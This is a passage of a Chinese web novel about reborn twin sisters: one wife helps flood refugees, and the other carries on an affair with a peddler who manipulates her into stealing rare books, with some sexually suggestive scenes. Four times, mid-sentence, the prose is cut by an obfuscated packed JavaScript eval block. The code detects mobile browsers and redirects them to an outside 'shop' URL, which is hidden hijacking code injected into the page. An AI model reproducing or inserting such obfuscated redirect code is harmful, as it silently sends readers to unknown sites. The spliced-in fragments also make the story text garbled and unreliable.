“这你都知道？”东方晋有些意外，但又怕向雨涵误会他这样说是看不上她出身，又连忙岔开话题道，“刚刚去了苏石那儿一趟，临走前他送给我的。冬日天气总不好，出门玩也不方便，加上明日就是冬至了，你每日点一点，就当多个消遣。” 向雨涵倒没觉得东方晋第一句话有什么，想到他冒着寒风细雨给自己带东西回来，心里也还有些感动。 正要开口跟他道谢，就听到东方晋问道：“岳父岳母那边的节礼送了吗？” “前几日就已经送了，临出门时母亲知道了，又还多添置了十几斤棉花，听回来的下人回禀，我爹娘他们都挺高兴的，都念着咱们的好。” 东方晋笑着点点头说：“那就行。” 向雨涵又看了看自己手里的剪刀，想了想，站起身来走到梳妆柜前，把它放进了抽替。 她心想：等哪日天气好些了，她回娘家一趟，顺便把这把从娘家偷来的剪刀还回去吧…… 东方晋见她不做剪纸了，以为她累了，提议道：“是不是乏了？不如去榻上休息一会儿？等到用午膳的时候，我再叫你。” 向雨涵摇了摇头。 忽然外面院子里来了人，听着声音像是在外院守门的婆子。 “三少夫人，刚刚慈安局那边来了两个妇人，她们送来了两大包做好的荷包，说是您让送来的，您可要见见人？” “请他们进来吧。” 向雨涵整了整衣衫，去了一旁会客的屋子，东方晋也好奇地跟了上去。 “什么慈安局？咱们布庄里不是有绣娘吗？” 向雨涵挪了挪椅子，让东方晋陪她一起坐下，然后才解释道：“前些日子我们这儿不是来了一起流民嘛，县令大人体恤百姓不易，就让人给安置了下来。其中还有一些与亲人走散的妇人跟孩子，他们又不好落户，就把以前城西的一家药铺扩宽修了几间屋，用来安置这些人，并取了名叫‘慈安局’。 “入冬之后，咱们布庄的生意也好起来了，绣娘们都忙着做过年新衣的活计，恰好咱们过年也要给底下人发赏钱，这荷包不就都要用吗？所以我就跟慈安局那边管事打了招呼，让那边会女工的人把布庄里积压下来的布头拿去做成荷包，每个荷包给五文钱的手工费，今日应该是都做好了，所以就直接送到咱们府上来了。” 东方晋一听是这么回事，顿时觉得自家夫人不但端庄大方还心地善良，心里欢喜又敬佩。 两人说了一会儿话，慈安局的人就来了。 “见过三少爷、三少夫人。” 两个瘦弱的妇人一进屋，只快速地看了一眼上首坐着的二人，就赶紧低下头行了个不怎么标准的礼。 “不必多礼，把包袱打开看看吧。”向雨涵看着这两个妇人虽然衣着比较破旧，衣服上补丁上都打着补丁，但都还比较干净，头发也梳的整齐。 小暑、大雪几个丫鬟很是主动地上前去一个个检查。 “少夫人您放心，在来之前我们都仔细看过的。”其中一个大眼睛的妇人笑着开口道。 跟她同来的妇人见她说话，连忙拉了拉她的衣服，生怕她别乱说话得罪了眼前的少夫人。 向雨涵闻言只是笑了笑，没接话，直到小暑等人检查清点完，才问：“多少个？” 小暑恭敬地答道：“回禀少夫人，一共有四百五十个。” 向雨涵有些意外地挑了挑眉，然后笑着说：“看样子是用心了的。” 布庄那头的管事娘子跟她说，这次给慈安局的针线布头，大约也就能做出来四百个荷包，若是比这个数少得多那就是他们那边扣了布头自己用了。 但出乎意料的是，人家不但没有扣下布头，还反而做多出来五十个，这就不只是实诚的事了。 “你们那边是有女工厉害的人吧？”向雨涵问道。 那个大眼睛妇人听到向雨涵这么问，立刻背都直了几分，一脸欢喜又骄傲地指了指身旁的妇人说道：“是我阿姐带我们一起做的。” “如何称呼？”向雨涵笑着看着旁边那位，进门行礼后就一直不曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125853|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说话的妇人问道。 “奴，奴家姓郑。” “郑娘子。”向雨涵问道，“郑娘子以前可曾特意学过？” 郑娘子似乎有些紧张嘴慢，她那自称是妹妹的妇人就抢先替她回话道：“学过的，学过的！少夫人您不知道，我们老家之前有一位从宫里放出来的老嬷嬷，老人家一眼就相中了我阿姐，就收了做徒弟，只是可惜老嬷嬷前几年去世了……不过也好，至少避过了今年的灾荒，少受些罪。” “敢问两位老家是哪里人士？”一直在旁边陪着的东方晋忽然问道。 那大眼睛妇人转眼一看，问话的这位三少爷相貌堂堂，眼神看着也正派，连忙回答道：“我们是从元洲那边逃荒过来的。” “啊！可是‘五子登科’的元洲？” 大眼睛妇人本就没听懂什么“五子登科”，但听东方晋这么问，就自信地答道：“我们那边是种谷子！黄澄澄的，都很大颗！” 东方晋愣住，仿佛是没懂“五子登科”跟“谷子”有什么关联。 从小生活在农家的向雨涵则是听懂了二人的“鸡同鸭讲”，不由得笑了出来。 笑完之后又正色道：“元洲那边是遭了什么灾，你们又是如何到了我们这地界呢？” 听到这话，大眼睛妇人的眼睛也垂了下去，整个人瞬间像是被苦难所包裹。 这会儿反而是旁边的郑娘子更为沉着，她缓缓的开口说道：“去年冬天到今年开春，我们那儿就一直不下雨，粮食也没法播种，所以村里面家家户户都闹起了饥荒。直到夏中时节终于下雨了，本来大家以为是久旱逢甘霖，却不料那雨越下越大，直到周边的大江、小河里的水都蔓延了出来，很快地，我们老家的田地房屋都被那些洪水给冲垮淹没了……” 郑娘子说着说着眼眶就红了起来，而她那大眼睛妹妹已经眼泪止不住地哭了。 向雨涵微微看了旁边站着的丫鬟大雪一眼，大雪立刻会意地拿出两块帕子递过去，给两人擦拭眼泪。 “多谢少夫人。”郑娘子先对向雨涵道了谢，又对大雪说“多谢姑娘。” “多谢。”大眼睛妇人擦了擦脸附和道。 “那你们两位可还有亲人一起？”向雨涵又问。 郑娘子看了看旁边的大眼妇人，有些歉意地对向雨涵说道：“回少夫人，奴家夫君姓钱，这位其实是我小姑子，家里老人早早的就去了，我夫君带着小姑子长大，结果这次在逃荒路上，夫君为了救我，被，被水冲走了……” 说着两姑嫂又哭了一场，向雨涵看的于心不忍，就没有再问下去。 “小暑，把荷包收了吧。”向雨涵吩咐完，又对郑娘子说，“一会结了钱，在府里吃了饭再回去吧。” 郑娘子与她那小姑子一听，有些局促，又有些欣喜，连忙擦了眼泪再次道谢。 向雨涵摆了摆手，让两人跟小暑去。 小暑带着人走了，向雨涵却把眉头皱得很紧。 30.冬至 东方晋见向雨涵的脸色不太好，温声问道：“怎么了这是？” 向雨涵微微摇了摇头，感慨道：“以前我只道自己生活艰辛，却不知这世上活着比我更难的人比比皆是。” 东方晋以为向雨涵说的是她未出嫁前，受的那些苦，跟受了灾的流民相比较，却不知她想的是自己的上一世。 她一直觉得上一世自己心里苦，哪怕有满院子的奴仆，她还是觉得自己孤独终老，无比凄凉。 如今听到别人遭灾，妻离子散，家破人亡。 忽然就觉得曾经的自己有些可笑，甚至觉得自己上一世简直眼盲心盲！ 明明后来的她再也不是一介普通村妇，手里有大把的资源可以去给这世道点亮些许光亮，她却固守着宋峤那个白眼狼，从未想过要离开，白白蹉跎自己的一生。 “到底要怎么做才能都帮到他们呢？” 向雨涵一时间有些急切，虽然这半年里她借用东方晋给她的钱，已经又开了两家店，甚至在刘馥郁回去海州后，又联系她帮忙在海州也置办了点小产业，但她始终觉得不够。 她心里隐约觉得东方家会倒，那就是一把刀悬挂在头上一般。 东方信鸿从西北回来后，东方晋每天在练武场呆的时间更长了，今天是难得的休息，才能陪在向雨涵身边。 对于向雨涵的话，向来粗枝大叶的他，一时间也不知道该怎么办，想了一会儿才道：“今日这样你做的就很好啊，授人以鱼不如授之以渔。” 向雨涵听到这句话后，忽然灵光一闪。 她知道东方晋平时除了带着立秋出门外，身边其实还有不少人在暗中保护——这还是上次舆图事件发生了，她才发觉的。 “你能借两个人手给我吗？”向雨涵略微有几分忐忑地问。 东方晋诧异地挑了挑眉。 向雨涵也没有解释，于是两人心照不宣地没有多说。 “你要什么样的人手，要去做什么？” “要会打探消息的就行。”向雨涵道。 东方晋微微思索了一会，就当向雨涵以为他不同意的时候，他忽然就开口说：“有是有，只是有一个还在外地没回来。” 向雨涵心下了然，但还是问了一句：“可是在追查关于舆图的事？” “嗯。”东方晋郑色道，“苏石那副图只是大致的框架，一些细节上的地方，实际上还需要到处走访方能确定。” “那这就说得通为什么他会是在三年后才被抓了。” 只是她不知道的是，上一世的苏石为了给芸娘治病，他是亲自跑了那些地方，才把舆图补齐的。 所以上一世的苏石确实是做了通敌卖国的事的，以至于就算是上了断头台，他都没有哭诉喊冤，有的只是对命运的不甘和对芸娘的愧疚。 这些现在未曾发生的事向雨涵不知道，其他人更不知道。 两人没有就这个话题再聊下去，而是看起了之前郑娘子二人送来的荷包。 …… 冬至当日天忽然放晴了，安分了一段时间的向雨嫣挎着一个小竹篮就要回娘家去。 宋峤见她要出门，放下手里的书就追了出去。 “喂，你上哪里去？” 向雨嫣背对着宋峤翻了个白眼，然后回头又委屈巴巴地模样说道：“今日冬至，我去我爹娘那边送些节礼。” 宋峤大步走过去，一把就把盖着竹篮子的布掀开，看到竹篮子里就躺着一根不过二指大小的萝卜，这才微微地松了一口气。 他放缓了语气说道：“那你早去早回，最近天黑得快，可别耽误久了。” 见宋峤这次没有跟着她一起去的意思，向雨嫣也在心里松了一口气。 自从上次她娘过来知道村里有姑娘还在觊觎宋峤后，向家对宋峤这个大女婿就更加的好起来。 特别是赵氏回去后两天，看到向雨嫣回去了，心里担心是小两口不合，就又带着一背篓粮食，还有猪骨头肉，连带着向雨嫣一起送回了宋家。 之后赵氏就要求如果要回娘家，就必须是两口子一起去。 于是宋峤就跟着向雨嫣去了几趟向家，而且每次赵氏都会给他们装东西带回去，只是每次都比上一次要少些。 宋峤就觉得向家不看重他这个大女婿，所以才对他越来越怠慢了。 他决定这次不跟着向雨嫣一起去了，让她娘家看看他宋峤可不是什么受嗟来之食的人。 向雨嫣心里也有些看不惯他这幅“既要又要”的清高劲儿，见他这次不去，也没有再邀，自己就小步快步地出了村。 今天可是冬至，照往年的习俗，家里可是会包饺子吃的！ 那宋峤虽然身板小，但却是在“半大小子吃穷老子”的年纪，每次去向家都能吃上三大碗，每次看他大口大口地吃东西，搞得她向雨嫣跟弟弟抢菜都不香了。 这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162503|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不去正好，她就可以多吃点。 正走着想着，向雨嫣就被一个正在路边歇脚的货郎挡住了路。 那货郎看着年纪不过二十来岁，生的一副好相貌，见有人过来，便脸上带着笑，有些不好意思地把他装货物的箱子往路边挑了挑。 向雨嫣看了那人一眼，也没多想，见对方态度很好地让了路，就侧着身子走了过去。 只是乡间的小路确实窄，尽管货郎已经把箱子往路边上挪了，向雨嫣仍旧走得绊了脚。 路边就是蓄了水的水田，向雨嫣吓得“啊”的一声惊叫出声，刚往田里倒的身子就又突然被人搂了回来。 向雨嫣的鼻尖忽然闻到一股奇怪的香味，还有一股陌生又强烈男人的气息，然后她的心脏也忽然咚咚地剧烈跳动了起来。 好一会儿她才缓缓抬起头，发现货郎比她高好多，而自己正趴在那货郎结实的胸口上，就算隔着衣物，她都能感觉到对方身体有多精壮，跟宋峤那个小鸡仔似的身体全部不一样。 想到了宋峤后，她才反应过来两人在路上，这个样子被人看到会有些不妥，正要离开，突然就发现有个硬物一下子顶到了她的小腹上，然后就见那货郎一下就红了脸。 “对，对不住！”货郎立刻松开手，脸红到了耳根处，不停地解释和道歉，“我，我，我只是见娘子要摔倒，一时情急才……” “才抱住了我？”向雨嫣脑子一热接话道。 货郎连连点头，又补充道：“真不是故意的。” 向雨嫣却忽然向下伸手摸了货郎一下，那货郎猛地一闭眼，浑身打了个哆嗦，在睁开眼时，眼睛也红了。 “你，你别这样。”货郎小声又隐忍地说道。 上一世就尝过人事的向雨嫣见货郎因为抱了她一下就这般反应，忽然心里涌起了满满的成就感，心里也顿时觉得滚烫起来。 她看了看四周，发现路上并没有其他人，于是就对货郎说：“想不想要快活？” 那货郎听懂了她的意思，但却很是犹豫。 向雨嫣见他犹豫，又顺手摸了人家一把。 货郎又是一哆嗦，难受得直抽气，他感觉自己下面就快要炸开了一般。 缓了缓他开口道：“怎么个说法。” 向雨嫣见他松了口，立刻就道：“跟我走，我就告诉你。” 货郎一咬牙，就把箱子重新挑起，跟着向雨嫣往旁边的树林走去。 31.货郎 约摸半个时辰后，向雨嫣才从树林里出来，她理了理有些凌乱的衣衫和头发，心里想着刚刚看到的精壮身体，忍不住又咽了咽口水。 要不是因为那宋峤给寡母守着孝，他俩到现在都没圆房，也不至于把她憋得那么难受。 甩了甩酸软的手臂，她走到水田边把手里的味道洗干净，然后摸着怀里的银子很是高兴地往向家村走去。 本以为这只是一次偶然的意外之财，却不料向雨嫣过了两日竟在村中又见到了那货郎。 “这位娘子可要买点什么？”货郎刚收了村里来买东西的妇人们的钱，见向雨嫣路过便打了声招呼。 向雨嫣见他则是一惊，心里暗自嘀咕这人怎么找到村里来了？难道是上次给了银子反悔了？ “宋峤家的，你家不是缺针吗？今天刚好有货郎来了，他这里就有缝衣裳的针，赶紧买几根呗，免得老是上我家借也挺麻烦的。”旁边一个妇人突然拉着她提醒道。 向雨嫣心中恼怒对方叫出宋峤名字，又担心货郎把之前的事说出去，心里着急的不行，要不是人多，她真恨不得撕烂这妇人的嘴。 “要针吗？有的，有的。”货郎像是不认识她一般，麻利儿地从货箱里找出针来，“要多长多粗的，娘子你来瞧瞧。” 旁边人倒没觉得货郎的话有什么问题，向雨嫣联想到了什么脸突然变得通红。 “我，我不要了。”她扭身就往村子外面走。 货郎也没说什么，默默地又收拾好了针，见大家也都买齐了，就说还要去下个村子，把货箱整理好，就挑起来出了村。 向雨嫣原本也没走远，见货郎跟了出来，入冬后外面也没啥人，就大着胆子走了过去。 “你怎么到这儿来了？”向雨嫣质问道。 货郎一脸委屈：“我来卖货的，你可是嫌弃我了？” 向雨嫣一副不明所以的模样。 货郎补充道：“听说你嫁的是个读书人，要不是婆婆去世，说不准你就已经是秀才娘子了，又哪里看得上我这种四处卖货的人呢。” 货郎本就长得眉目清秀、一表人才，加上他身体精壮结实，向雨嫣上次哪怕是用的手都费了大半天功夫，可见身体有多好了。 向雨嫣不由得想起了上一世，那个男人对她也是如此温柔小意，每每在一起，都把她弄得舒服的不行。 重生回来这么久，她其实心里早就馋得紧。 但宋家那个寡母早不死晚不死，非要在他们定亲后死，搞得她还得为了因为这个事儿守孝三年，真的气煞她也。 另外就是宋峤那个弱鸡身板，看着就跟没长开的娃娃一样，让她也提不起兴致。 好不容易遇到货郎这样一个要相貌有相貌要身材有身材的男人，而且对方好像是对她一见倾心，虽说两人还未越过最后一条防线，但能亲能摸能疏解一番也是好的。 最重要的是人家会主动给她银子！ 向雨嫣一想到这几天，她每天都能偷溜出村去给自己买好吃的，心里就对这货郎熨帖不已。 “不许你这么说自己。”向雨嫣伸手挡住货郎的嘴，然后又向四处张望了一下，见没有人，便越发地大胆了起来，踮着脚就亲在了货郎脸颊上。 那货郎脸上顿时一喜，拉过向雨嫣的手放那硬出放，又带着几分委屈地道：“好姐姐，快帮帮我。” 向雨嫣瞬间明白对方的意思，她收回手又向货郎勾了勾：“跟我来……” 这次以后，货郎出现的越发频繁，只是他但也没有每天挑货去村里找向雨嫣，而是去了两人经常“偷吃”的地方等她。 渐渐的向雨嫣也品出些不需要过落红那关也能有的甜头，恨不得每天都跟货郎厮混在一处。 只是她时不时撅着屁股捶腰的模样还是被宋峤看见了。 宋峤只是看了两眼，嘴里念着“有伤风化”就嫌弃地走开了。 不过宋家的日子倒是比之前过好了不少，宋峤见每天都有浓浓的米粥和素菜，有时还有白面大馒头，心里虽对向雨嫣不满意，但看在向家二老的份上，他还是忍了。 每天都能吃饱的宋峤自然就懒得搭理又黑又壮的王盼儿，加上天冷了，他也很少出门了，每天都是抱着书窝在床铺上朗读背诵。 可怜王盼儿每次家里烙了饼，都立马偷偷揣怀里，想让她的峤哥哥吃口热乎的，胸口都被烫坏了，却等不到人出来。 她又不敢上门去找，怕遇到向雨嫣那个懒货狐狸精。 也不知怎么地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192087|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，前不久那懒货狐狸精见了她，居然就指着鼻子骂她“又“丑又黑又不要脸”，还让村子里的小娃儿们听了去，那些天杀的小娃儿现在都叫她“黑熊精”，把她气哭了好几场，结果又被家里打了一顿，说她晦气，都把家里好运哭没了。 王盼儿想到她爹娘说都怪她晦气，所以她家里才没有盼来弟弟，都是她的错，她心里就委屈的不行。 本来还想找她的峤哥哥倾诉倾诉，现在连峤哥哥也不出来安慰她，她心里憋屈的不行，于是便把怀里藏的饼子拿出来，一边啃一边哭着去村外散散心。 只是这一散心就又遇到了她最讨厌的人，心情一下就更不好了，连嘴里的饼子都不香了。 王盼儿看着向雨嫣从山湾里出来，头上还顶着张树叶，原本想转身就走。 哪知之前每次见面都对她恶语相向的向雨嫣，这次却没有理会她，只是远远的看了她一眼，就快步回村子里去了。 王盼儿想追上去问问向雨嫣，最近她有没有给峤哥哥煮饭，有没有饿着峤哥哥，但又没胆子，只能傻站在路边看人走远。 只是正当王盼儿也准备回村去的时候，她回头看了一眼山湾方向，发现有个她没见过的男人也从那边出来，不过她也没在意，以为只是路过的人。 向雨嫣回到家里后，去厨房烧了热水给自己擦洗，心里想的却是以前在东方家都有丫鬟婆子伺候，如今享受这一切的都成了向雨涵，再看看这破烂的老房子想着就来气，手里用过的水瓢被她用力地扔进了水缸里。 宋峤刚好过来喝水，见她莫名其妙地对家里的水瓢发脾气，心里很不痛快，因为那水瓢还是他母亲用葫芦亲手做出来的。 于是他就很生气地说：“你有什么气冲我来，没必要这般不爱惜我宋家的东西。” 哪知向雨嫣并没有接话，只是眼神里带着审视地把他从头到脚地看了一遍，然后发出一声呲笑，提着装着热水的桶就去了卧房。 宋峤却被她这一举动狠狠地刺痛了。 她刚刚那是什么意思？ 她是在看不起他吗？ 好！好！好得很！ 只等有一日他金榜题名了，这等蠢妇，他非休不可！ 宋峤在心里暗暗发誓。 32.孤本 向雨嫣与货郎偷偷摸摸往来了好长一段时间。 突然有一天货郎跟她说，他爹娘为他在县城里盘下了一家铺子，以后不能经常来看她了。 向雨嫣原本觉得自己只是图人每次事后给的银子，不料不过几天不见，她竟有些想那货郎了。 要不是知道宋峤日后会当官发达，她说不定早就跟那货郎跑了。 不过她好歹是知道人家铺子的地址的，若是想厮混，主动上门也不是不行。 于是在一个月后，向雨嫣便两手空空地进城了。 她一路打听，终于找到了货郎说的铺子，只不过她站在远处观望了好一会儿，铺子里半天也没什么客人进去，生意像是不太好。 不过这种事原本也不该她操心，于是便直接走了过去。 一进店就看到有两个身材魁梧的汉子都坐在店里，还有一个忙着倒茶的可不就是她心心念念了一个月的货郎。 向雨嫣容貌秀丽，一进去就吸引了三个人的视线。 货郎一见她来了，立刻对着坐着的两位汉子陪了笑，然后转身就把向雨嫣往铺子的库房里拉。 “你怎么来了？”货郎关了仓库门，关切地摸着向雨嫣的脸问道。 向雨嫣把对方的手扯了下来，一脸幽怨地说：“还不是太想你了，许久不见你都不知道去看看我。” 货郎沉默了一会，才开口说道：“最近家里出了些事，铺子里就我一个人忙和，实在走不开。” 向雨嫣好奇地问：“是出了何事？” 货郎摇了摇头，担忧地说道：“也没什么，你来这边没熟人看见吧？” “没有，我一直都很小心的。” “那就好。”货郎又替向雨嫣温柔地理了理耳边的碎发，有些懊恼又怜惜地说道，“都怪我遇见你太晚了，才让你嫁给那样一个无用之人，跟着他，你受苦了。” 明明以前两人见面就是干柴烈火地办事儿，向雨嫣嘴里都是淫词浪调，货郎也是各种嗯嗯啊啊。 事后一人得到了发泄，另一人得到了银钱。 结果这次不过一个月不见，两人之间的氛围似乎变了。 货郎言辞动作间变得更深情，向雨嫣也像是被感染了一番，对货郎有些依依不舍，还主动地扑进了人家怀里。 “姓柳的，在里面磨蹭啥呢？今日该办的事还能不能行了？”外面坐着的两汉子见货郎进了库房不出来，便不耐烦地大声喊道。 柳货郎只好放开向雨嫣，小声地说：“你先在这里待会儿，我去应付了外面的人再说。” 向雨嫣此时如同怀春的少女一般，特别乖巧听话地点点头。 只是她不知道的是，柳货郎一出去库房，脸上的神情便换了。 外面的两个大汉与他对视了一眼，突然勃然大怒地砸了茶杯，抓起他的衣襟便恶狠狠地说：“父债子偿，天经地义！今日若你不能拿出一百两来，就别怪我们哥俩对你不客气。” “两位再宽限些时日吧，我这铺子刚买下，家中确实没有那么多银钱了。”柳货郎苦着脸哀求道。 其中一个大汉上前一步，一把就把柳货郎推开，柳货郎的背撞在一边的架子上，架子上的东西摔了一地，他自己吃痛地“啊”了一声。 向雨嫣听到外面的动静，心里既想冲出去，又害怕自己出去也挨揍，只能吓得躲在仓库里不啃声。 外面的大汉又假意打了柳货郎几下，见向雨嫣始终没出来，便使了个眼色，放下几句狠话，暂时先离开了。 等听到外面动静平复了，向雨嫣才小心地打开了库房的门，然后就看到柳货郎正蹲在地上捡散落在地上的东西。 见向雨嫣出来，柳货郎抬头有些尴尬地笑了笑。 “刚刚没吓到你吧？” 向雨嫣摇了摇头，上前去帮忙整理，等东西就归位后，她才问道：“刚才两人是哪里的？你家为何会欠下那么多银子？” 柳货郎苦笑一声道：“他们是永乐赌坊的打手，前段时间我家刚盘下这家铺子，我爹就被眼红的邻居引去了那里，一晚上输了好几百两，最后的五十两就是在赌坊借的。” “借五十两，却要还一百两？”向雨嫣惊诧道。 柳货郎点点头，然后就一脸歉意地抓住向雨嫣的手恳求道：“嫣儿，我本不该开这个口的，但目前我也实在没有办法了，你看你能不能借我些银钱？你放心，以后我肯定能赚到钱的，我的一切都可以是你的，我的人，我的心……都是你的。” 向雨嫣吓得退后了两步。 “可是我已经成亲了……” “我不在乎那些名分，嫣儿，这世上你是我唯一珍爱的女人。从我们相识至今，你说的每一句话我都听你的，哪怕是我再忍不住想要你，在你不同意的情况下，我都能忍住不是吗？” 柳货郎眼眶泛红地看着向雨嫣，明明是个身形高大的男子，此刻竟委屈得像个孩子。 向雨嫣被他这么一提醒，也想起两人每次相处时的点点滴滴，心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197223|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软了几分。 “可是，我真的没有银钱。”她道，“你也知道我家的情况，家里那个就是个傻读书的，为了供他读书，家里时常连白米都吃不上。” 柳货郎听她提到了书，立刻接话道：“他读了这么多年的书，你可知他有没有买过什么孤本之类的？我听说读书人最爱孤本，若是拿出来换钱，一本少说都能值上百两。” 向雨嫣想了想摇摇头，宋峤家里那些书她虽然没具体翻过，但时不时她也会瞟上几眼，听宋峤早晚背诵，确实没有发现有什么孤本。 “也对，一般有钱人家哪怕不爱读书，也会买些孤本放在书房里装装样子，咱们都是普通百姓，又哪里会有闲钱做这等事呢。”柳货郎叹息地说道。 向雨嫣原本也有些灰心丧气，却听柳货郎这么一说，忽然就被点醒了。 孤本宋家没有，但不代表东方家没有啊！ 上一世，她可是经常出入东方晋的书房的，对于哪些是值钱的书画，她可是一清二楚！ 只是…… 她迟疑了一下，看向柳货郎，发觉对方去拿了一块打湿的帕子来，正抓着她的手，仔细地帮她擦着刚刚捡东西而在地上沾上的的灰尘，动作轻柔，神情也格外的认真。 “不然我再回去找找，若是找到了，我就拿来给你应急。”向雨嫣说道。 柳货郎猛的一抬眼看她，眼里全是惊喜。 随后，便去关了铺子大门，把向雨嫣打横抱起来，最后将人放在库房躺椅上，嘴里欢喜地说道：“我就知道你心里有我。”说完便亲了上去。 第二日，向雨嫣便去了东方家。 当她跨进府院侧门的那一刻，关于上一世的回忆便如同潮水一般地涌了出来。 她看着那些花草树木、亭台楼阁、假山鱼塘，曾经的一幕幕场景都在眼前翻过。 纷乱的回忆差一点就影响到她的心智，让她以为自己还是上一世嫁进来当三少夫人的她。 向雨涵在听说她姐姐来看她的时候，眉头一挑，随即便把几个管事都散了去。 直到向雨嫣进屋后随意地坐在她身边的椅子上，她才没忍住笑了出来。 “都说无事不登三宝殿，今日姐姐前来可是有什么事吗？” 原本向雨嫣在来的路上还打了不少草稿，想着这一世她还是成亲后第一次见妹妹，多少得寒暄几句，才能让对方放下警惕，没曾想她刚坐下，连杯热茶还没喝上，这双胞胎妹妹就直接把她今日来的目的问出口来。